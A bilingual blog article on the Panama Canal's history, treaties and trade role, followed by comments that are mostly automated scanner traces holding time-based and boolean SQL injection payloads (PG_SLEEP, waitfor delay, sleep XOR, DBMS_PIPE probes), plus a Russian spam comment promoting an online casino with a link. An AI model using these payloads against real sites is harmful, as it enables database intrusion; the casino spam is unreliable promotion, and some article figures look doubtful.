The Panama Canal
The Panama canal
Between the Caribbean Sea and the Pacific Ocean that crosses the Isthmus of Panama is one of the wonders of the modern world, one of the greatest achievements of engineering in history that has changed the dynamics of global logistics: The Panama Canal.
Its origin dates back to the sixteenth century when the visionary monarchs Carlos I of Spain, and Carlos V of Germany in 1534 signed a decree that led to the first study for the construction of a route between both oceans, after the explorer Vasco Núñez de Balboa two decades before crossing the Isthmus, and noticing the short distance that separated the Atlantic from the Pacific.
More than three centuries later, the United States, and France, following the California gold rush; retook the idea. France lasted almost 20 years from 1880 in its attempt to build the Canal, but after many failures and obstacles sold the construction rights to the United States, which managed to successfully complete the construction of this technological marvel that unites both oceans in just 10 years.
Under the Hay-Burnau-Varilla Treaty of 1903, after the separation of Panama, and Colombia; the United States obtained perpetual rights over the Canal. Later, after the 1977 agreements of Torrijos-Carter, it was established that Panama would assume control from December 31, 1999. As of this date, the Canal is in full sovereignty of Panama, a country that proceeded to expand it in 2014.
The Panama Canal has more than a century since it began operations, and through it passes more than 6% of the world's maritime trade. This 80Km interoceanic navigation route that redefined global trade routes has had a positive impact on the global economy.
Large ships with the length of more than three soccer fields cross through their 1,400-foot-long locks, which is enough space to place the Empire State Building of New York, United States.
On average, 5.9 ships transit the Canal per day, passing mainly vessels that go from China, Japan, and South Korea to the east coast of North América or from South America to Europe.
The Panama Canal has been one of the most ambitious engineering works of all times, whose construction had a transforming effect from different angles on the entire planet, and represents a revolution in global trade history by allowing through logistics savings time, and money in a world that uses the seas to transport most of its cargo.
*** SPANISH VERSION ***
El Canal de Panamá
Entre el mar Caribe y el océano Pacífico que atraviesa el Istmo de Panamá se encuentra una de las maravillas del mundo moderno, uno de los mayores logros de la ingeniería en la historia que ha cambiado la dinámica de la logística global: El Canal de Panamá.
Su origen se remonta al siglo XVI cuando los monarcas visionarios Carlos I de España y Carlos V de Alemania en 1534 firmaran un decreto que propició el primer estudio para la construcción de una ruta entre ambos océanos, luego que el explorador Vasco Núñez de Balboa dos décadas antes cruzara el Istmo y se percatara de la poca distancia que separaba el Atlántico del Pacífico.
Más de tres siglos después Estados Unidos y Francia a raíz de la fiebre del oro de California retomaron la idea. Francia duró casi 20 años a partir de 1880 en su intento por la construcción del Canal, pero luego de muchos fracasos y obstáculos vendieron los derechos de construcción a Estados Unidos, el cual logró culminar con éxito la construcción de esta maravilla tecnológica que une ambos océanos en tan sólo 10 años.
En virtud del Tratado Hay-Burnau-Varilla de 1903, después de la separación de Panamá y Colombia; Estados Unidos obtuvo los derechos a perpetuidad sobre el Canal. Posteriormente tras los acuerdos de 1977 de Torrijos-Carter se estableció que Panamá asumiría el control desde el 31 de diciembre de 1999. A partir de esta fecha el Canal se encuentra en soberanía plena de Panamá, país que procedió a ampliarlo en el 2014.
El Canal de Panamá tiene más de un siglo desde que inició sus operaciones y a través de él pasa más del 6% del comercio marítimo del mundo. Esta ruta de navegación interoceánica de 80Km que al ser ampliado redefinió las rutas de comercio global ha ejercido un impacto positivo en la economía a nivel mundial.
Grandes buques con la longitud de hasta más de tres campos de fútbol cruzan a través de sus esclusas de 1,400 pies de longitud, lo cual es suficiente espacio para colocar el Empire State Building, de Nueva York, Estados Unidos.
En promedio 5,9 buques transitan el Canal por día, pasan principalmente embarcaciones que van desde China, Japón, y Corea del Sur a la costa este de América del Norte o de América del Sur a Europa.
El Canal de Panamá ha sido una de las obras de ingeniería más ambiciosas de todos los tiempos, cuya construcción tuvo un efecto transformador desde diferentes ángulos en todo el planeta y representa en la historia una revolución del comercio global al permitir a través de la logística grandes ahorros en tiempo y dinero para un mundo que utiliza los mares para transportar la mayor parte de su carga.
100 Responses
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
555
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
555
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
555
lxbfYeaa
1
lxbfYeaa
@@3Xrxl
lxbfYeaa
1
����%2527%2522
lxbfYeaa
1
lxbfYeaa
1’"
lxbfYeaa
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR||CHR||CHR,15)||’
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR||CHR||CHR,15)
lxbfYeaa
1
lxbfYeaa
yFsoZWWJ’)) OR 283=(SELECT 283 FROM PG_SLEEP(15))—
lxbfYeaa
1
lxbfYeaa
WTO8k1Mn’) OR 448=(SELECT 448 FROM PG_SLEEP(15))—
lxbfYeaa
1
lxbfYeaa
o0GGQtwn’ OR 409=(SELECT 409 FROM PG_SLEEP(15))—
lxbfYeaa
1
lxbfYeaa
1)) OR 105=(SELECT 105 FROM PG_SLEEP(15))-
lxbfYeaa
1
lxbfYeaa
5) OR 881=(SELECT 881 FROM PG_SLEEP(15))-
lxbfYeaa
1
lxbfYeaa
5 OR 923=(SELECT 923 FROM PG_SLEEP(15))-
lxbfYeaa
1
lxbfYeaa
flmbOTQM’; waitfor delay ‘0:0:15’ —
lxbfYeaa
1
lxbfYeaa
1 waitfor delay ‘0:0:15’ —
lxbfYeaa
1
lxbfYeaa
1); waitfor delay ‘0:0:15’ -
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1
lxbfYeaa
1; waitfor delay ‘0:0:15’ -
lxbfYeaa
1
lxbfYeaa
(select(0)from(select(sleep(15)))v)/‘(select(0)from(select(sleep(15)))v)’“(select(0)from(select(sleep(15)))v)”/
lxbfYeaa
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
lxbfYeaa
0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
lxbfYeaa
if(now()=sysdate(),sleep(15),0)
lxbfYeaa
1" OR 2+69-69-1=0+0+0+1 -
lxbfYeaa
-1’ OR 2+450-450-1=0+0+0+1 or ‘mGKuHaVb’=’
lxbfYeaa
1’ OR 2+171-171-1=0+0+0+1 -
lxbfYeaa
-1 OR 2+767-767-1=0+0+0+1
lxbfYeaa
1 OR 2+106-106-1=0+0+0+1 -
lxbfYeaa
555
lxbfYeaa
555
@@mOCRC
555
1 ����%2527%2522
555
1'"
555
lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
lxbfYeaa
1
lxbfYeaa
1
RWQUXzBT')) OR 962=(SELECT 962 FROM PG_SLEEP(15))--
555
t0KMBQnO') OR 799=(SELECT 799 FROM PG_SLEEP(15))--
555
fhZRNl12' OR 622=(SELECT 622 FROM PG_SLEEP(15))--
555
nMohesBu'; waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
if(now()=sysdate(),sleep(15),0)
555
-1" OR 2+126-126-1=0+0+0+1 --
555
-1' OR 2+473-473-1=0+0+0+1 or 'HmJ5uuXY'='
555
-1' OR 2+708-708-1=0+0+0+1 --
555
-1 OR 2+761-761-1=0+0+0+1
555
-1 OR 2+100-100-1=0+0+0+1 --
555
lxbfYeaa
555
lxbfYeaa
555
lxbfYeaa
555
Johnnyagora
Казино Вавада это одно из самых известных онлайн-казино, предлагающее игрокам широкий ассортимент игр и привлекательные бонусы. Ежели вы желайте выяснить, как найти это казино, какие забавы в нем доступны и как найти его в Телеграм, то эта статья вам.
Как искать казино Вавада
Для начала, чтоб попасть в казино Вавада, вы можете воспользоваться следующими способами:
1. Поисковые системы: Просто введите “Казино Вавада” в любой поисковой машине, и вы найдете сайт. Направьте свой взгляд, что сайт может быть заблокирован, в таком случае используйте рабочие зеркала.
2. Зеркала казино: Если доступ к сайту ограничен, разыскивайте животрепещущие зеркала. Обычно актуальные ссылки можно отыскать на официальных страничках казино или форумах, посвященных азартным играм.
3. Соц сети: Подпишитесь на официальные аккаунты Вавада в социальных сетях там довольно частенько публикуются новости и ссылки на рабочие рабочие зеркала.
Какие забавы в казино Вавада
Казино Вавада делает отличное предложение своим игрокам разнообразие игр на хоть какой вкус:
1. Игровые слоты: Огромное количество автоматов для игры с различными темами и бонусными функциями.
2. Настольные игры: Классические игры, в том числе рулетка, блэкджек и покер, доступны для тех, кто предпочитает классические казино.
3. Лайв-казино: Игра с живыми дилерами, где вы можете взаимодействовать с другими игроками и чувствовать атмосферу настоящего казино.
4. Провайдеры: Казино сотрудничает с знаменитыми производителями игр, что гарантирует высокое качество и обилие контента https://sites.google.com/view/vavadatelegramposts/tags
Как искать Вавада в Телеграм
Телеграм это отличная платформа для получения обновлений и информации. Чтоб отыскать казино Вавада в Телеграм, выполните последующие шаги:
1. Поиск по нику: Откройте прибавленье Телеграм и в строке поиска введите “Вавада”. Это поможет отыскать официальные каналы и группы.
2. Присоединяйтесь к каналам: Найдите и подпишитесь на официальный канал казино Вавада. Вслед за тем вы сможете быть информированными о новых играх, акциях и призах.
3. Общение с участниками: Вступите в чаты и группы игроков, где обсуждаются различные нюансы игры в казино Вавада. Это будет хорошей возможностью поменяться опытом и получить советы.
Казино Вавада делает отличное предложение огромное количество возможностей для игры и утехи. Помните о мерах безопасности и играйте ответственно. Фортуны!
Leave a comment
Also in News
Ciudades almacenes para entregas a tiempo
De esta forma, los servicios logísticos tienen frente a ellos un gran reto del mundo moderno. Nuevos métodos de almacenaje son requeridos, ahora que las grandes ciudades tienen menos espacios para el resguardo de encomiendas, pero que deben ser entregados a tiempo evitando colapsos.
The challenge of being efficient delivering parcels in large cities
Within ten years the world population will have increased by one billion, which will mean a considerable increase of people per square meter in the cities, making the delivery of parcels a great challenge for the geolocalization...
Una tendencia que crece: Comprar desde y hasta el hogar
Conociendo este escenario de ascenso para las compras por internet y como efecto de esta gran revolución comercial, los servicios logísticos requieren ampliar su capacidad para ofrecer almacenaje y distribución...
lxbfYeaa
May 19, 2022
1